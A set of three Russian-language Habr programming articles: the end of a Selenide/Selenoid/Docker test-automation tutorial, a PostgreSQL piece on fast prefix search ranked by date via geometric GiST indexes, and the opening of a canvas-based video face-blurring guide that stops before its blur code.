В аннотации **BeforeClass** мы прописали *property baseurl*, которое находится в классе *configuration* и будет являться базовым url. Поэтому, *driver.get*, который мы использовали в тестах на Selenium, больше не нужен. В *property browser* мы прописываем браузер, на котором мы будем осуществлять запуск наших тестов.
В своём тестовом проекте мы можем полностью отказаться от драйвера Selenium, всю работу с ним Selenide возьмёт на себя, инкапсулируя её в своих классах. Нам останется сосредоточиться на логике самих тестов.
Перейдем к использованию Selenide на нашей странице:
```
//Метод для открытия страницы с помощью метода Selenide open
public SignUpPage open() {
//Указываем обратный путь
Selenide.open (relativeOrAbsoluteUrl: "/us/signup/");
return this;
}
//Метод для заполнения поля email
public SignUpPage typeEmail(String email) {
//Находим поле и вводим в него текст
$(emailField).sendKeys(email);
return this;
}
```
При вызове метода *open*, Selenide сам запускает браузер и открывает страницу. Также он заботится о том, чтобы в конце браузер закрылся. В Selenide.*open* мы можем прописать либо полный путь c *http*, либо передать какой-либо относительный к baseurl – *relative url*. В качестве *baseurl* мы указали абсолютный путь, поэтому в методе Selenide.*open* нам достаточно будет указать “/”.
```
//Метод для заполнения поля email
public SignUpPage typeEmail(String email) {
//Находим поле и вводим в него текст
$(emailField).sendKeys(email);
return this;
}
//Метод для заполнения поля Confirm email
public SignUpPage typeConfirmEmailField(String email) {
//Находим поле и вводим в него текст
$(confirmEmailField).setValue(email);
return this;
}
```
Для того, чтобы с использованием Selenide найти элемент, нам необходимо указать **$** вместо *driver.findElement*, который используется в Selenium. То есть, при помощи метода длиной в один символ, мы можем найти непосредственно сам элемент. По умолчанию, метод поиска принимается в виде строки, аналогично библиотеке JavaScript jQuery.
Для того, чтобы с использованием Selenide найти список элементов, нужно указать два символа **$$**. Вместо *List, мы прописываем *ElementsCollection*, которая уже расширена дополнительными методами.*
Для работы с элементами мы можем использовать как стандартные методы Selenium *(sendKeys())*, так и *setValue()* или более короткую версию *vаl()*.
Исходя из наименования, как мы видим, методы Selenide более понятны. Метод *click()* таким и остается. Хотя у Selenide есть несколько методов *click(): contextClick()* (имитация нажатия правой кнопки мыши), *doubleClick()* (имитация двойного нажатия по элементу) и т.д. Имея уже найденный элемент мы можем продолжать поиск при помощи других локаторов.
От метода Selenium *driver.findElement(By)*, метод Selenide *find()* отличается тем, что сразу умеет получать CSS селекторы и оперирует c Selenide-элементами, а не с Web-элементами. В принципе, Selenide-элементы – это более умная и со своими методами альтернатива Web-элементам Selenium.
Selenide уже содержит в себе методы, которые пришлось бы делать посредством какого-либо *action* класса или ещё каким-то образом. Он позволяет писать краткие и “красивые” методы, написанные понятным всем языком. Также, Selenide обладает большой долей гибкости, благодаря которой мы можем использовать стандартные возможности Selenium.
С остальными методами Selenide также можно ознакомится в [официальной документации](https://selenide.org/documentation.html).
Рассмотрим широкие и понятные примеры проверок, которые нам предоставляет Selenide:
```
//Проверяем видимость ошибки, ошибка должна быть видна
page.getError("Please enter a valid year.").shouldBe(Condition.visible);
//Проверяем видимость ошибки, ошибка должна быть не видна
page.getError("When were you born?").shouldNotBe(Condition.visible);
//Проверяем количество ошибок сравнивая с размером списка
page.getErrors().shouldHave(CollectionCondition.size(6));
//Проверяем текст ошибки по её номеру
page.getErrorByNumber(3).shouldHave(Condition.text("Please enter your birth month."));
```
Схема проверки Selenide позволяет нам взять некий элемент, найти его и использовать к нему следующие формулировки: should, shouldBe, shouldHave, shouldNot, shouldNotBe и shouldNotHave. Схема проверки сводится к нахождению элемента и вызовом у него этих формулировок. Далее в скобках мы указываем, либо состояние, которому он должен соответствовать или не соответствовать, либо какой-либо атрибут.
В зависимости от логики и наших потребностей, мы используем определенные методы. Если мы хотим проверить, что элемент существует, мы используем метод should(exist), если мы хотим проверить видимость элемента, мы используем shouldBe(visible) и т.д. По сути мы используем только три формулировки: либо should, shouldBe, shouldHave, либо обратные им shouldNot, shouldNotBe, shouldNotHave.
Проверки над элементами или коллекциями элементов совершаются на Selenide с помощью описанных выше методов, которым передается условие для проверки. Они играют роль ожидания момента, когда элемент будет удовлетворять какому-то условию, а не только совершают проверку по условию.
Формулировки в Selenide довольно логичны и понятны. Мы можем написать наши проверки, либо используя подсказки среды разработки, либо логические предположения. И само собой, мы всегда можем взглянуть на код реализации нужных методов в документации или заглянуть в реализацию самого метода.
### Автоматические скриншоты в тесте
Для **JUnit**:
Чтобы автоматически делать скриншот после каждого упавшего теста, можно сделать импорт и указать **Rule**
```
import com.codeborne.selenide.junit.ScreenShooter;
@Rule
public ScreenShooter makeScreenshotOnFailure = ScreenShooter.failedTests();
```
Но по сути, это рудимент, так как Selenide уже давно автоматически делает скриншоты при падении тестов. Это очень удобно для анализа наших ошибок. По умолчанию Selenide складывает скриншоты в папку *build/reports/tests*.
Для того, чтобы автоматически делать скриншот после каждого теста (в т.ч. зелёного), можно использовать следующую команду:
```
@Rule
public ScreenShooter makeScreenshotOnFailure = ScreenShooter.failedTests().succeededTests();
```
Для **TestNG** мы также делаем импорт:
```
import com.codeborne.selenide.testng.ScreenShooter;
@Listeners({ ScreenShooter.class})
```
Чтобы делать скриншоты после зелёных тестов, нужно вызвать следующую команду перед запуском тестов:
```
ScreenShooter.captureSuccessfulTests = true;
```
Также можно сделать скриншот в любом месте теста одной строкой:
```
import static com.codeborne.selenide.Selenide.screenshot;
screenshot("my_file_name");
```
При этом Selenide создаст два файла: *my\_file\_name.png* и *my\_file\_name.html*
### 3. Docker: особенности и преимущества использования
Перейдем непосредственно к [Docker](https://www.docker.com/) и рассмотрим его преимущества:
* Ускоренный процесс разработки. Нет необходимости устанавливать вспомогательные инструменты их можно запускать в контейнерах
* Удобная инкапсуляция приложений
* Понятный мониторинг
* Простое масштабирование
Когда мы говорим о Docker’е, следует прояснить следующие моменты:
**Контейнер** – это исполняемый экземпляр, который инкапсулирует требуемое программное обеспечение. Он состоит из образов. Его можно легко удалить и снова создать за короткий промежуток времени.
**Образ** – базовый элемент каждого контейнера.
**Docker Hub** – публичный репозиторий с интерфейсом, предоставляемый Docker Inc. Он хранит множество образов. Ресурс является источником «официальных» образов, сделанных командой Docker или созданных в сотрудничестве с разработчиком ПО.
#### Установка Docker
Чтобы получить Docker на Windows, мы идём на [https://hub.docker.com](https://hub.docker.com/) и скачиваем приложение **Docker Desktop** для Windows или MacOS с последующей установкой.
Для Ubuntu Linux устанавливаем Docker командой *sudo apt install docker.io*
Далее необходимо запустить Docker и настроить его автоматический запуск при загрузке системы выполнив следующие команды:
* *sudo systemctl start docker*
* *sudo systemctl enable docker*
### 4. Selenoid: возможности и преимущества
[Selenoid](https://aerokube.com/selenoid/latest/) – это сервер, запускающий изолированные браузеры в Docker контейнерах.
Преимущества использования Selenoid:
* Единая среда для параллельного запуска автотестов
* Изолированное окружение: каждый браузер запускается в отдельном контейнере, что позволяет полностью изолировать окружение нашего браузера
* Масштабируемость: окружение никак не влияет на качественное и непрерывное проведение тестов
* Потребление и утилизация ресурсов: Selenoid позволяет поддерживать высокую нагрузку без дополнительных ресурсозатрат; кроме того, он утилизирует все неактивные контейнеры после завершения самой его сессии, тем самым постоянно поддерживая нужно количество свободной памяти
* Установка: не занимает много времени и осуществляется, по сути, при помощи одной команды
* Одновременная поддержка нескольких версий одного браузера: данная опция доступна только у Selenoid, для этого необходимо создать несколько контейнеров с необходимыми браузерами
* Фокус: операционная система работает таким образом, что в фокусе может быть только одно окно. При запуске нескольких браузеров на одной машине, окна могут начать конкурировать за фокус. У Selenoid такой проблемы нет, поскольку каждый тест запускается в отдельном контейнере
* Пользовательский интерфейс и логи: Selenoid позволяет быстро получить доступ к имеющимся журналам. Помимо этого есть возможность интеграции с [ELK](https://www.elastic.co/what-is/elk-stack) стэком для более быстрого сбора и анализа текущих файлов.
Также, Selenoid достаточно удобен в использовании и располагает информативным интерфейсом.
#### Установка Selenoid
Подготовительные действия для установки Selenoid:
* Необходим установленный и запущенный Docker, так как далее рассматривается использование Selenoid вместе с Docker
* Простейший способ установки Selenoid – загрузить Configuration Manager, который используется для автоматизации установки продуктов [**Aerokube**](https://aerokube.com/), коим и является Selenoid
* Переименовать загруженный файл в *cm.exe* (для удобства взаимодействия)
* Запустить Selenoid командой:
*./cm.exe selenoid start --vnc*
*./cm.exe selenoid-ui start*
В результате выполнения команды *./cm.exe selenoid start--vnc* произойдёт загрузка образов с VNC-сервером, то есть образов, в которых доступна возможность видеть экран браузера в реальном времени. Также, в процессе выполнения этой команды будет скачана свежая версия Selenoid вместе с контейнерами, исполняемые файлы веб-драйверов, будут созданы файлы конфигурации и последним этапом будет сразу же запущен сам Selenoid.
Следующей командой *./cm.exe selenoid-ui* start мы скачиваем и запускаем **Selenoid UI** – графическую оболочку, через которую мы можем посмотреть ход выполнения наших тестов в реальном времени, видеозаписи выполнения сценариев, примеры конфигурационных файлов, собрать какую-то статистику и т.д.
Selenoid по умолчанию работает на стандартном порту Selenium 4444. Порт можно переопределить, использовав ключ *--port*.
Selenoid был создан для работы в больших кластерах Selenium и поэтому не имеет встроенного пользовательского интерфейса. Поэтому попытка открыть
Endpoint для тестов ~~[localhost](http://localhost):4444/wd/hub~~ вернет ошибку 404.
#### Статистика и сессии Selenoid UI
Selenoid UI доступен по адресу <http://localhost:8080/>
![](https://habrastorage.org/r/w1560/webt/_f/oy/rb/_foyrbnw27c5zmpypzanlfdzwdu.png)
Здесь мы можем ознакомиться со статистикой и сессиями. Посмотреть текущее использование квоты, ожидающие браузеры и саму очередь. Selenoid UI получает обновления через SSE, поэтому не нужно обновлять страницу в браузере, чтобы увидеть, что происходит. После любых временных сбоев содержимое страницы автоматически обновиться.
Если мы говорим об одновременном тестировании на различных устройствах: например у нас есть кроссплатформенное веб-приложение с функциональностью чата в реальном времени, то мы одновременно можем тестировать взаимодействие между ними, что, безусловно, удобно.
#### Возможности Selenoid UI
Также в Selenoid UI имеются следующие возможности:
![](https://habrastorage.org/r/w1560/webt/rv/0t/pj/rv0tpju5jxdgoyveokqbuhq5_la.png)
Мы можем выбрать браузер из списка доступных браузеров и пользовательский интерфейс предоставит нам пример настройки с правильными *capabilities*. На скриншоте видно, что примеры доступны для нескольких языков.
![](https://habrastorage.org/r/w1560/webt/yq/fr/cl/yqfrclbbutpdlszforvqlyjl2tq.png)
При выборе браузера, мы можем его запустить вручную прямо в интерфейсе. Во время исполнения тестов существует возможность подключится к порту *vnc* в режиме реального времени и получить доступ к экрану нужного браузера, и даже вмешаться в процесс исполнения автотестов.
#### Логи и VNC
Если вы используете capability *enabaleVnc=true*, вы можете увидеть на странице список доступной статистики. VNC позволяет нам видеть браузер и взаимодействовать с ним. В то время, как наш журнал будет отображать все действия браузера.
VNC сессия:
![](https://habrastorage.org/r/w1560/webt/7p/pz/k1/7ppzk1cvnbmulvkndmifleukq1u.png)
Полноэкранный режим VNC выглядит следующим образом:
![](https://habrastorage.org/r/w1560/webt/28/ot/4j/28ot4j3qmtke8tnzah8fsja-4eq.png)
Также вы можете видеть журналы контейнера докер для каждого сеанса даже без VNC. То есть, если, к примеру, вы не использовали флаг --vnc при установке самого Selenoid, то вы будете видеть только логи.
![](https://habrastorage.org/r/w1560/webt/bc/qx/cj/bcqxcjiqbxv5-agmiq60ejiohwi.png)
Также есть возможность просмотра видео наших тестов. К видео файлам можно попасть, открыв <http://localhost:4444/video/>, либо перейдя во вкладку “Videos” в Selenoid UI.
#### Подключение к Selenide проекту Selenoid для запуска своих тестов в Docker контейнере
Для того, чтобы подключить Selenoid, в аннотацию **BeforeClass** нам необходимо добавить следующую конфигурацию:
```
Configuration.remote = "http://localhost:4444/wd/hub";
Configuration.browser = "chrome";
Configuration.browserSize = "1920x1080";
DesiredCapabilities capabilities = new DesiredCapabilities();
capabilities.setCapability(capabilityName: "enableVNC", value: true);
capabilities.setCapability(capabilityName: "enableVideo", value: true);
Configuration.browserCapabilities = capabilities;
```
Удаляем *Property baseurl*, которое указывало на каком браузере выполнялся запуск тестов, так как теперь у нас используется свойство
*Configuration.browser = «chrome»*;
В проекте это выглядит следующим образом:
```
@BeforeClass
public static void setUp() {
//Url удалённого веб драйвера
Configuration.remote = "http://10.0.75.1:4444/wd/hub";
//Определяем какой браузер будем использовать
Configuration.browser = "chrome";
//Размер окна браузера
Configuration.browserSize = "1920x1080";
//Создаём объект класса DesiredCapabilities, используется как настройка вашей конфигурации с помощью пары ключ-значение
DesiredCapabilities capabilities = new DesiredCapabilities();
//Включить поддержку отображения экрана браузера во время выполнения теста
capabilities.setCapability(capabilityName: "enableVNC", value: true);
//Включение записи видео в процессе выполнения тестов
capabilities.setCapability(capabilityName: "enableVideo", value: true);
//Переопределяем Browser capabilities
Configuration.browserCapabilities = capabilities;
```
#### Дополнительные возможности Selenoid
* Хранение данных в оперативной памяти: в Selenoid все временные памяти хранятся в *Tmpfs* – временном файловом хранилище, которое позволяет хранить файлы в оперативной памяти. Доступ к ОЗУ, как известно, осуществляется намного быстрее, чем к файловой системе жесткого диска.
* Selenoid позволяет использовать различное разрешение экрана: мы самостоятельно можем настраивать подходящее разрешение экрана для запущенного контейнера. Сделать это можно посредством выставления необходимых параметров в настройках компонента *Browser Capabilities*.
* Видеозапись тестов: активация записи в Selenoid на примере браузера Google Chrome происходит за счет выставления параметра *true* в соответствующую настройку компонента *Browser Capabilities*:
*ChromeOptions options = new ChromeOptions();*
*options.setCapability(“enableVideo”,true);*
#### Использование Selenoid без Docker
Selenoid использует контейнеры для запуска браузеров, однако существуют случаи, когда запуск браузера в контейнере невозможен. Например, в Windows у нас есть Internet Explorer, который нельзя запустить внутри контейнера. Selenoid может использоваться в качестве “легкой” замены сервера Selenium для запуска Internet Explorer, Firefox или Chrome в Windows, например, чтобы использовать Selenoid с Internet Explorer.
Для этого нам потребуется:
1. Загрузить последний архив [IEDriverServer](https://www.seleniumhq.org/download/) и распаковать его в какой-либо каталог (в нашем примере C: \)
2. Загрузить последний бинарный файл [Selenoid](https://github.com/aerokube/selenoid/releases/tag/1.9.3)
3. Создать файл конфигурации *browsers.json*
Пример фрагмента browsers.json:
```
{
"internet explorer": {
"default": "11",
"versions": {
"11": {
"image": ["C:\\IEDriverServer.exe", "--log-level=DEBUG"]
}
}
}
}
```
4. Запустить Selenoid:
*./selenoid\_win\_amd64.exe -conf ./browsers.json -disable-docker*
5. Запустить тесты, используя endpoint <http://localhost:4444/wd/hub> со следующими *capabilities*:
*browserName = internet explorer*
*version = 11*
6. Для того, чтобы запустить Chrome, необходимо загрузить бинарный файл [Chromedriver](https://sites.google.com/a/chromium.org/chromedriver/) и, соответственно, изменить browsers.json
7. По умолчанию Selenoid не обрабатывает логи запущенного драйвера, поэтому нужно запустить Selenoid с флагом *-capture-driver-logs*, чтобы добавить логирование драйверов для каждой сессии в основной лог.
#### Подводя итог
Решение на основе **Selenide + Selenoid** в **Docker** контейнере демонстрирует высокий уровень гибкости в настройке среды исполнения. Стабильность данного решения, значительная экономия времени при его использовании и ряд дополнительных возможностей позволяет оптимизировать процесс и в сжатые сроки обеспечивать высокое качество программных продуктов, в результате легко отдать предпочтение вышеупомянутым решениям, поскольку они позволяют быстро и качественно выполнять задачи по автоматизации тестирования. | https://habr.com/ru/post/473454/ | null | ru | null |
# SQL HowTo: префиксный FTS-поиск с релевантностью по дате
В нашем [СБИС](https://sbis.ru/edo), как и в любой другой системе работы с документами, по мере накопления данных у пользователей возникает желание их "*поискать*".
Но, поскольку люди — не компьютеры, то и ищут они примерно как "*что-то там такое было от **Иванова или от Ивановского**… нет, не то, **раньше, еще раньше**… вот оно!*"
[![](https://habrastorage.org/r/w1560/webt/bq/dh/ep/bqdhep-eepak6ehbuueb8ozlsls.png)](https://sbis.ru/edo)То есть технически верное решение — это **префиксный полнотекстовый поиск с ранжированием результатов по дате**.
Но разработчику это грозит жуткими проблемами — ведь [для FTS-поиска в PostgreSQL](https://postgrespro.ru/docs/postgresql/12/textsearch-tables#TEXTSEARCH-TABLES-INDEX) используются «пространственные» [типы индексов GIN и GiST](https://postgrespro.ru/docs/postgresql/12/textsearch-indexes), которые не предусматривают «подсовывания» дополнительных данных, кроме текстового вектора.
Остается только грустно **вычитывать все записи по совпадению префикса** (тысячи их!) и сортировать или, наоборот, **идти по индексу даты и фильтровать** все встречающиеся записи на совпадение префикса, пока не найдем подходящие (как скоро найдется «абракадабра»?..).
И то, и другое не особо приятно для производительности запроса. Или что-то все же можно придумать для быстрого поиска?
Сначала сгенерируем наши «тексты-на-дату»:
```
CREATE TABLE corpus AS
SELECT
id
, dt
, str
FROM
(
SELECT
id::integer
, now()::date - (random() * 1e3)::integer dt -- дата где-то за последние 3 года
, (random() * 1e2 + 1)::integer len -- длина "текста" до 100
FROM
generate_series(1, 1e6) id -- 1M записей
) X
, LATERAL(
SELECT
string_agg(
CASE
WHEN random() < 1e-1 THEN ' ' -- 10% на пробел
ELSE chr((random() * 25 + ascii('a'))::integer)
END
, '') str
FROM
generate_series(1, len)
) Y;
```
Наивный подход #1: gist + btree
-------------------------------
Попробуем накатить индекс и для FTS, и для сортировки по дате — вдруг да помогут:
```
CREATE INDEX ON corpus(dt);
CREATE INDEX ON corpus USING gist(to_tsvector('simple', str));
```
Будем искать все документы, содержащие слова, начинающиеся на `**'abc...'**`. И, для начала, проверим, что таких документов достаточно немного, и FTS-индекс используется нормально:
```
SELECT
*
FROM
corpus
WHERE
to_tsvector('simple', str) @@ to_tsquery('simple', 'abc:*');
```
[![](https://habrastorage.org/r/w1560/webt/wa/jo/-e/wajo-ejjon-10tvolm9roflc7ga.png)](https://explain.tensor.ru/archive/explain/7624ed923e2deb750d6877a09ac69a8e:0:2020-12-17)
Ну… он, конечно, используется, но занимает это **больше 8 секунд**, что явно не то, что мы хотели бы потратить на поиск 126 записей.
Может, если добавить **сортировку по дате** и искать только **последние 10 записей** — станет лучше?
```
SELECT
*
FROM
corpus
WHERE
to_tsvector('simple', str) @@ to_tsquery('simple', 'abc:*')
ORDER BY
dt DESC
LIMIT 10;
```
[![](https://habrastorage.org/r/w1560/webt/pi/lq/te/pilqteos5qsfz-cxakstg5im_o0.png)](https://explain.tensor.ru/archive/explain/ba99f9310a1841ca11e430cde07cd255:0:2020-12-17)
Но нет, просто сверху добавилась сортировка.
Наивный подход #2: btree\_gist
------------------------------
Но ведь есть же отличное расширение `[btree\_gist](https://postgrespro.ru/docs/postgresql/12/btree-gist)`, которое позволяет «подсунуть» скалярное значение в GiST-индекс, что должно нам дать возможность сразу использовать **индексную сортировку с помощью оператора расстояния `<->`**, который можно использовать для [kNN-поисков](https://en.wikipedia.org/wiki/Nearest_neighbor_search):
```
CREATE EXTENSION btree_gist;
CREATE INDEX ON corpus USING gist(to_tsvector('simple', str), dt);
```
```
SELECT
*
FROM
corpus
WHERE
to_tsvector('simple', str) @@ to_tsquery('simple', 'abc:*')
ORDER BY
dt <-> '2100-01-01'::date DESC -- сортировка по "расстоянию" от даты далеко в будущем
LIMIT 10;
```
[![](https://habrastorage.org/r/w1560/webt/py/6a/yp/py6ayp-vrnpsjh8hkmo64ga6nfk.png)](https://explain.tensor.ru/archive/explain/7b70960807cb971686de92ba8cfecaa2:0:2020-12-17)
Увы, это не помогает примерно никак.
Геометрия в помощь!
-------------------
Но отчаиваться рано! Посмотрим на [список встроенных классов операторов GiST](https://postgrespro.ru/docs/postgresql/12/gist-builtin-opclasses#GIST-BUILTIN-OPCLASSES-TABLE) — оператор расстояния `<->` доступен **только для «геометрических»** `circle_ops, point_ops, poly_ops`, а с версии PostgreSQL 13 — и для `box_ops`.
Так давайте попробуем перевести нашу задачу «в плоскость» — нашим использующимся для поиска **парам `(слово, дата)` присвоим координаты** некоторых точек, чтобы «префиксные» слова и недалеко отстоящие даты находились как можно ближе:
![](https://habrastorage.org/r/w1560/webt/t-/pv/48/t-pv48k-v_sz49d9fuxvufnj-ak.png)
#### Разбиваем текст на слова
Конечно, наш поиск будет не вполне полнотекстовым, в том смысле, что нельзя задавать условие для нескольких слов одновременно. Но уж префиксным-то точно будет!
Сформируем вспомогательную таблицу-словарь:
```
CREATE TABLE corpus_kw AS
SELECT
id
, dt
, kw
FROM
corpus
, LATERAL (
SELECT
kw
FROM
regexp_split_to_table(lower(str), E'[^\\-a-zа-я0-9]+', 'i') kw
WHERE
length(kw) > 1
) T;
```
В нашем примере на 1M «текстов» пришлось 4.8M «слов».
#### Укладываем слова
Чтобы перевести слово в его «координату», представим что **это число, записанное в системе счисления с основанием `2^16`** (ведь UNICODE-символы мы тоже хотим поддержать). Только записывать мы его будем начиная с фиксированной 47-й позиции:
![](https://habrastorage.org/r/w1560/webt/-z/xk/qg/-zxkqgbacun7t6oshjmi-buzim4.png)
Можно было бы начинать и с 63-й позиции, это даст нам значения чуть меньше `1E+308`, предельных для `double precision`, но тогда возникнет переполнение при построении индекса.
Получается, что на координатной оси все слова окажутся упорядочены:
![](https://habrastorage.org/r/w1560/webt/xs/jv/hy/xsjvhynznb-uje8swxxbku4_2k4.png)
```
ALTER TABLE corpus_kw ADD COLUMN p point;
UPDATE
corpus_kw
SET
p = point(
(
SELECT
sum((2 ^ 16) ^ (48 - i) * ascii(substr(kw, i, 1)))
FROM
generate_series(1, length(kw)) i
)
, extract('epoch' from dt)
);
CREATE INDEX ON corpus_kw USING gist(p);
```
#### Формируем поисковый запрос
```
WITH src AS (
SELECT
point(
( -- копипасту можно вынести в функцию
SELECT
sum((2 ^ 16) ^ (48 - i) * ascii(substr(kw, i, 1)))
FROM
generate_series(1, length(kw)) i
)
, extract('epoch' from dt)
) ps
FROM
(VALUES('abc', '2100-01-01'::date)) T(kw, dt) -- поисковый запрос
)
SELECT
*
, src.ps <-> kw.p d
FROM
corpus_kw kw
, src
ORDER BY
d
LIMIT 10;
```
[![](https://habrastorage.org/r/w1560/webt/ty/s2/ol/tys2olq5ocgnelvjq3eby85mq90.png)](https://explain.tensor.ru/archive/explain/f36aa27e61584fb1b83343dadeb1eb4c:0:2020-12-17)
Теперь у нас на руках `id` искомых документов, уже отсортированных в нужном порядке — и заняло это **меньше 2ms, в 4000 раз быстрее**!
#### Небольшая ложка дегтя
Оператор `<->` ничего не знает про наше упорядочение по двум осям, поэтому искомые наши данные находятся лишь в одной из правых четвертей, в зависимости от необходимой сортировки по дате:
![](https://habrastorage.org/r/w1560/webt/h4/j-/ar/h4j-ars3rhxxranstopmiq2wdza.png)
Ну и выбрать мы все-таки хотели сами тексты-документы, а не их ключевые слова, поэтому нам понадобится давно забытый индекс:
```
CREATE UNIQUE INDEX ON corpus(id);
```
Доработаем запрос:
```
WITH src AS (
SELECT
point(
(
SELECT
sum((2 ^ 16) ^ (48 - i) * ascii(substr(kw, i, 1)))
FROM
generate_series(1, length(kw)) i
)
, extract('epoch' from dt)
) ps
FROM
(VALUES('abc', '2100-01-01'::date)) T(kw, dt) -- поисковый запрос
)
, dc AS (
SELECT
(
SELECT
dc
FROM
corpus dc
WHERE
id = kw.id
)
FROM
corpus_kw kw
, src
WHERE
p[0] >= ps[0] AND -- kw >= ...
p[1] <= ps[1] -- dt DESC
ORDER BY
src.ps <-> kw.p
LIMIT 10
)
SELECT
(dc).*
FROM
dc;
```
[![](https://habrastorage.org/r/w1560/webt/zg/ia/1o/zgia1oof4flt5pv27u3shvgm7i0.png)](https://explain.tensor.ru/archive/explain/2c8081edcca4e430183641285dc256ce:0:2020-12-17)
Нам немного добавили возникшие `InitPlan` с вычислением константных x/y, но все равно мы уложились в те же **2 мс**!
#### Ложка дегтя #2
Ничто не дается бесплатно:
```
SELECT relname, pg_size_pretty(pg_total_relation_size(oid)) FROM pg_class WHERE relname LIKE 'corpus%';
```
```
corpus | 242 MB -- исходный набор текстов
corpus_id_idx | 21 MB -- это его PK
corpus_to_tsvector_idx | 51 MB -- "традиционный" FTS-индекс
corpus_kw | 705 MB -- ключевые слова с датами
corpus_kw_p_idx | 403 MB -- GiST-индекс по геометрическим "проекциям"
```
242 MB «текстов» превратились в 1.1GB «поискового индекса».
Но ведь в `corpus_kw` лежат дата и само слово, которые мы в самом-то поиске уже никак не использовали — так давайте их удалим:
```
ALTER TABLE corpus_kw
DROP COLUMN kw
, DROP COLUMN dt;
VACUUM FULL corpus_kw;
```
```
corpus_kw | 641 MB -- только id и point
```
Мелочь — а приятно. Помогло не слишком сильно, но все-таки 10% объема удалось отыграть. | https://habr.com/ru/post/533506/ | null | ru | null |
# Блюр объектов в реальном времени на видео с помощью canvas
![Фото Sigmund с Unsplash](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/7ab/e6f/67a/7abe6f67ad752c480d89433f2d5d820b.jpg "Фото Sigmund с Unsplash")Фото Sigmund с UnsplashКонфиденциальность это очень важная часть в современном мире. Снимая видео на своей телефон в общественном месте, не всегда, люди, которые попадают в кадр, будут довольны этим и можно получить "по жопке" за это. Для избежания этого лица рамывают или пикселизируются.
Сегодня я хочу поделиться реализацией такого блюра/пикселизации видео (изображения) в вебе.
Дано:
* браузер
* видео
* метаданные видео
* массив с координатами лиц для каждого кадра видео (он подготовлен заранее, прогнан через алгоритм поиска лиц)
* Знания JavaScript и Canvas и немножко CSS
Блюрить мы будем как лица отдельно, так и все изображение, кроме лиц.
Как это выглядит:
![блюр снаружи](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6a7/efa/637/6a7efa637b7e3234b915a0d2810a7467.png "блюр снаружи")блюр снаружи![блюр внутри](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f67/d08/9ad/f67d089ade9ca00a72cbfbe6e5683b5d.png "блюр внутри")блюр внутриИтак, поехали.
### Получение метаданных видео
Сначала нужно получить метаданные нашего видео. Для этого заходим на сайт <https://gpac.github.io/mp4box.js/test/filereader.html>, загружаем видео.
Открываем `src/constants/video.ts` и меняем параметры
```
export const VIDEO_METADATA_INFO = {
framesCounts: [492],
framesDurations: [1000],
timeScale: 29970,
}
```
`framesCount` это `sample_counts` в разделе `Box View -> Tree View-> moov -> trak ->mdia -> minf -> stbl -> stts`
![как найти framesCount параметр](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7b7/198/5c9/7b71985c953cb34d01e0dc2a2ce8b1eb.png "как найти framesCount параметр")как найти framesCount параметр`framesDurations` это `sample_deltas` в разделе `Box View -> Tree View-> moov -> trak ->mdia -> minf -> stbl -> stts`
![как найти framesDurations параметр](https://habrastorage.org/r/w1560/getpro/habr/upload_files/315/b9a/785/315b9a7854810f587bc4ec294e18e310.png "как найти framesDurations параметр")как найти framesDurations параметр`timeScale` это `timescale` в разделе `Box View -> Tree View-> moov -> trak ->mdia -> mdhd`
![как найти timeScale параметр](https://habrastorage.org/r/w1560/getpro/habr/upload_files/048/6c4/246/0486c42469b4b00f6519a725313bc320.png "как найти timeScale параметр")как найти timeScale параметрВсе эти метаданные нам нужны будут для правильного определения фрейма по времени видео.
### Работа с видео
У нас есть видео, которые мы хотим проигрывать и блюрить. Но использовать просто video тег мы не можем, т.к мы не можем его редактировать на лету, да и впринципе что-то с ним сделать в браузере. Для этого можно рисовать это самое видео на canvas.
Алгоритм отрисовки довольно простой:
1. Создаем video элемент и передаем ссылку на видео
```
this.video = document.createElement('video');
this.video.crossOrigin = 'anonymous';
this.video.src = 'VIDEO_URL';
```
2. Создаем canvas элемент, делаем его по размеру видео, получаем контекст
```
const canvas = this.canvasRef.current;
canvas.width = width;
canvas.height = height;
this.videoContext = canvas?.getContext('2d');
```
3. Рисуем на canvas текущий фрейм видео
```
this.videoContext?.drawImage(this.video,0,0,width, height);*
```
\* Метод `drawImage` принимает интерфейсы: `HTMLOrSVGImageElement` | `HTMLVideoElement` | `HTMLCanvasElement` | `ImageBitmap` | `OffscreenCanvas`, поэтому мы просто можем передать элемент видео, и текущее изображение фрейма само отрисуется.
Выполнив этот код, мы увидим черный прямоугольник. Это потому, что наше видео на данный момент находится в 0 таймлайне. Чтобы увидеть изображение при открытии видео, нужно сделать небольшой хак, при первой отрисовке установить текущее время видео на 0.0001.
```
if (!this.video.currentTime) {
this.video.currentTime = 0.0001;
}
```
Теперь нужно решить другую задачу: как нам отрисовывать фреймы видео при проигрывании.
Можно попробовать подписаться на событие `timeupdate`, но результат вас огорчит. Он тригерится 4-5 раз в секунду и мы получим просто слайд-шоу в результате отрисовки.
![частота вызова timeupdate](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d25/e0c/c80/d25e0cc802e1dc90e53270fab8265e77.png "частота вызова timeupdate")частота вызова timeupdateНо наше видео играет с частотой почти 30 кадров в секунду. Да, немного не этого мы ожидали, давайте пробовать дальше.
Используя рекурсивный вызов `requestAnimationFrame` мы сможем гораздо чаще (60 раз в сек в лучшем случае) вызывать метод, который будет получать время на видео и определять фрэйм.
```
requestTimeUpdate = () => {
if (this.isDestroyed) {
return;
}
this.processFrame();
this.timeUpdateRAFId = window.requestAnimationFrame(this.requestTimeUpdate);
};
processFrame() {
const { time } = this.state;
if (!time) {
this.drawToCanvas();
}
this.setState({ time: this.video.currentTime });
this.setState({
frame: videoUtils.getTimestampIndex(VIDEO_METADATA_INFO, time),
});
this.drawToCanvas();
}
```
Теперь у нас готов "плеер" на канвасе. Осталось научиться блюрить объекты.
Какие опции у нас есть по блюру:
1. Гауссовский блюр внутри объектов
2. Гауссовский блюр вокруг объекта
3. Пикселизация внутри объектов
4. Пикселизация вокруг объекта
### Гауссовский блюр
Для реализации этого кейса, нам нужно поверх канваса с отрисованным кадром видео еще 2 канваса поверх него. Один для того, чтоб заблюрить весь холст, 2-й чтоб из заблюреного холста вырезать нужные объекты по координатам.
